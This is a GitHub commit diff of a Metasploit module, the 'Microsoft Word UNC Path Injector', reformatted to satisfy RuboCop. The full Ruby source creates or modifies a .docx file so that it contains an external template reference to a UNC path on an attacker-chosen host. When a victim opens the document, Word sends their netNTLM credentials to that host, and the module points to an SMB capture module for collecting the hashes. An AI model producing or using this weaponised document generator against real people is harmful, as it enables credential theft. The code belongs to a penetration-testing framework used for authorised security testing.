Skip to content

Commit 3a3a2db

Browse files
authored
Merge pull request rapid7#20084 from bcoles/rubocop-modules-auxiliary-docx
modules/auxiliary/docx/word_unc_injector: Resolve RuboCop violations
2 parents bedcaac + ff3c723 commit 3a3a2db

File tree

1 file changed

+93
-108
lines changed

1 file changed

+93
-108
lines changed

modules/auxiliary/docx/word_unc_injector.rb

Lines changed: 93 additions & 108 deletions
Original file line numberDiff line numberDiff line change
@@ -3,194 +3,179 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
#
7-
# Gems
8-
#
9-
10-
# for extracting files
116
require 'zip'
12-
13-
#
14-
# Project
15-
#
16-
17-
# for creating files
187
require 'rex/zip'
198

209
class MetasploitModule < Msf::Auxiliary
2110
include Msf::Exploit::FILEFORMAT
2211

2312
def initialize(info = {})
24-
super(update_info(info,
25-
'Name' => 'Microsoft Word UNC Path Injector',
26-
'Description' => %q{
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Microsoft Word UNC Path Injector',
17+
'Description' => %q{
2718
This module modifies a .docx file that will, upon opening, submit stored
28-
netNTLM credentials to a remote host. It can also create an empty docx file. If
29-
emailed the receiver needs to put the document in editing mode before the remote
30-
server will be contacted. Preview and read-only mode do not work. Verified to work
31-
with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
32-
auxiliary/server/capture/smb module can be used.
33-
},
34-
'License' => MSF_LICENSE,
35-
'References' =>
36-
[
19+
netNTLM credentials to a remote host. It can also create an empty docx file. If
20+
emailed the receiver needs to put the document in editing mode before the remote
21+
server will be contacted. Preview and read-only mode do not work. Verified to work
22+
with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
23+
auxiliary/server/capture/smb module can be used.
24+
},
25+
'License' => MSF_LICENSE,
26+
'References' => [
3727
[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
3828
],
39-
'Author' =>
40-
[
29+
'Author' => [
4130
'SphaZ <cyberphaz[at]gmail.com>'
42-
]
43-
))
31+
],
32+
'Notes' => {
33+
'Stability' => [ CRASH_SAFE ],
34+
'SideEffects' => [],
35+
'Reliability' => []
36+
}
37+
)
38+
)
4439

4540
register_options(
4641
[
47-
OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']),
42+
OptAddressLocal.new('LHOST', [true, 'Server IP or hostname that the .docx document points to.']),
4843
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),
4944
OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),
50-
OptString.new('DOCAUTHOR',[false,'Document author for empty document.']),
51-
])
45+
OptString.new('DOCAUTHOR', [false, 'Document author for empty document.']),
46+
]
47+
)
5248
end
5349

5450
# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
5551
def make_new_file
56-
metadata_file_data = ""
57-
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
58-
metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
59-
metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
60-
metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
52+
metadata_file_data = ''
53+
metadata_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?><cp:coreProperties'
54+
metadata_file_data << ' xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" '
55+
metadata_file_data << 'xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" '
56+
metadata_file_data << 'xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
6157
metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
62-
metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
63-
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
64-
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
58+
metadata_file_data << '</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">'
59+
metadata_file_data << '2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">'
60+
metadata_file_data << '2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>'
6561

6662
# where to find the skeleton files required for creating an empty document
67-
data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
63+
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'docx')
6864

6965
zip_data = {}
7066

7167
# add skeleton files
7268
vprint_status("Adding skeleton files from #{data_dir}")
7369
Dir["#{data_dir}/**/**"].each do |file|
74-
if not File.directory?(file)
75-
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
70+
if !File.directory?(file)
71+
zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')
7672
end
7773
end
7874

7975
# add on-the-fly created documents
80-
vprint_status("Adding injected files")
81-
zip_data["docProps/core.xml"] = metadata_file_data
82-
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
76+
vprint_status('Adding injected files')
77+
zip_data['docProps/core.xml'] = metadata_file_data
78+
zip_data['word/_rels/settings.xml.rels'] = @rels_file_data
8379

8480
# add the otherwise skipped "hidden" file
8581
file = "#{data_dir}/_rels/.rels"
86-
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
82+
zip_data[file.sub(data_dir, '')] = File.read(file, mode: 'rb')
8783
# and lets create the file
8884
zip_docx(zip_data)
8985
end
9086

9187
# here we inject an UNC path into an existing file, and store the injected file in FILENAME
92-
def manipulate_file
93-
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
94-
95-
if not File.stat(datastore['SOURCE']).readable?
96-
print_error("Not enough rights to read the file. Aborting.")
97-
return nil
98-
end
88+
def manipulate_file(file_path)
89+
fail_with(Failure::BadConfig, 'Not enough rights to read the file. Aborting.') unless File.stat(file_path).readable?
9990

10091
# lets extract our docx and store it in memory
101-
zip_data = unzip_docx
92+
zip_data = unzip_docx(file_path)
10293

10394
# file to check for reference file we need
104-
file_content = zip_data["word/settings.xml"]
95+
file_content = zip_data['word/settings.xml']
10596
if file_content.nil?
106-
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
107-
return nil
97+
fail_with(Failure::BadConfig, 'Bad "word/settings.xml" file, check if it is a valid .docx.')
10898
end
10999

110100
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
111-
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
112-
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
113-
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
114-
# lets zip the end result
101+
if file_content.to_s.include?('w:attachedTemplate r:id="rId1"')
102+
vprint_status('Reference to rels file already exists in settings file, we dont need to add it :)')
115103
zip_docx(zip_data)
116-
else
117-
# now insert the reference to the file that will enable our malicious entry
118-
insert_one = file_content.index("<w:defaultTabStop")
119-
120-
if insert_one.nil?
121-
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
122-
if not insert_two.nil?
123-
vprint_status("HypenationZone found, we use this for insertion.")
124-
file_content.insert(insert_two, ref )
125-
end
104+
return true
105+
end
106+
107+
ref = '<w:attachedTemplate r:id="rId1"/>'
108+
109+
# now insert the reference to the file that will enable our malicious entry
110+
insert_one = file_content.index('<w:defaultTabStop')
111+
112+
if insert_one.nil?
113+
insert_two = file_content.index('<w:hyphenationZone') # 2nd choice
114+
if !insert_two.nil?
115+
vprint_status('HypenationZone found, we use this for insertion.')
116+
file_content.insert(insert_two, ref)
126117
else
127-
vprint_status("DefaultTabStop found, we use this for insertion.")
128-
file_content.insert(insert_one, ref )
118+
fail_with(Failure::Unknown, 'Cannot find insert point for reference into settings.xml')
129119
end
120+
else
121+
vprint_status('DefaultTabStop found, we use this for insertion.')
122+
file_content.insert(insert_one, ref)
123+
end
130124

131-
if insert_one.nil? && insert_two.nil?
132-
print_error("Cannot find insert point for reference into settings.xml")
133-
return nil
134-
end
125+
# update the files that contain the injection and reference
126+
zip_data['word/settings.xml'] = file_content
127+
zip_data['word/_rels/settings.xml.rels'] = @rels_file_data
135128

136-
# update the files that contain the injection and reference
137-
zip_data["word/settings.xml"] = file_content
138-
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
139-
# lets zip the file
140-
zip_docx(zip_data)
141-
end
142-
return 0
129+
# lets zip the end result
130+
zip_docx(zip_data)
131+
true
143132
end
144133

145134
# making the actual docx from the hash
146135
def zip_docx(zip_data)
147136
docx = Rex::Zip::Archive.new
148-
zip_data.each_pair do |k,v|
149-
docx.add_file(k,v)
137+
zip_data.each_pair do |k, v|
138+
docx.add_file(k, v)
150139
end
151140
file_create(docx.pack)
152141
end
153142

154143
# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
155-
def unzip_docx
144+
def unzip_docx(file_path)
156145
# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
157-
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
146+
vprint_status("Extracting #{file_path} into memory.")
158147
# we read it all into memory
159148
zip_data = Hash.new
160-
begin
161-
Zip::File.open(datastore['SOURCE']) do |filezip|
162-
filezip.each do |entry|
163-
zip_data[entry.name] = filezip.read(entry)
164-
end
149+
Zip::File.open(file_path) do |filezip|
150+
filezip.each do |entry|
151+
zip_data[entry.name] = filezip.read(entry)
165152
end
166-
rescue Zip::Error => e
167-
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
168-
return nil
169153
end
170-
return zip_data
171-
end
172154

155+
zip_data
156+
rescue Zip::Error
157+
fail_with(Failure::BadConfig, "Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
158+
end
173159

174160
def run
175161
# we need this in make_new_file and manipulate_file
176-
@rels_file_data = ""
177-
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
178-
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
179-
@rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
180-
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
162+
@rels_file_data = ''
163+
@rels_file_data << '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>'
164+
@rels_file_data << '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
165+
@rels_file_data << '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"'
166+
@rels_file_data << " Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
181167

182-
if "#{datastore['SOURCE']}" == ""
168+
if datastore['SOURCE'].blank?
183169
# make an empty file
184170
print_status("Creating empty document that points to #{datastore['LHOST']}.")
185171
make_new_file
186172
else
187173
# extract the word/settings.xml and edit in the reference we need
188-
print_status("Injecting UNC path into existing document.")
189-
if manipulate_file.nil?
190-
print_error("Failed to create a document from #{datastore['SOURCE']}.")
191-
else
192-
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
174+
print_status('Injecting UNC path into existing document.')
175+
unless manipulate_file(datastore['SOURCE'])
176+
fail_with(Failure::Unknown, "Failed to create a document from #{datastore['SOURCE']}.")
193177
end
178+
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
194179
end
195180
end
196181
end

0 commit comments

Comments
 (0)